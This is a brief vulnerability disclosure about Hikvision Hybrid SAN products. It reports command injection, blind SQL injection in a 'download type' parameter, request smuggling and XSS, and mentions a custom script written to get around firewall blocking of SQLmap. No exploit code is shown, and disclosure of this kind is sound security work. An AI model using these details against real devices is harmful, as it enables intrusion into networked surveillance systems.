Vendor Description:

Hikvision is a world-leading surveillance manufacturer and supplier of
video surveillance and Internet of Things (IoT) equipment for civilian and
military purposes.
Some Hikvision Hybrid SAN products were vulnerable to multiple remote code
execution vulnerabilities such as command injection, Blind SQL injection,
HTTP request smuggling, and reflected cross-site scripting.
This resulted in remote code execution that allows an adversary to execute
arbitrary operating system commands and more. However, an adversary must be
on the same network to leverage this vulnerability to execute arbitrary
commands.

Vulnerability description:
A manual test confirmed that The download type parameter was vulnerable to
Blind SQL injection.I created a Python script to automate and enumerate SQL
versions as the Application was behind the firewall and block all the
requests from SQLmap.
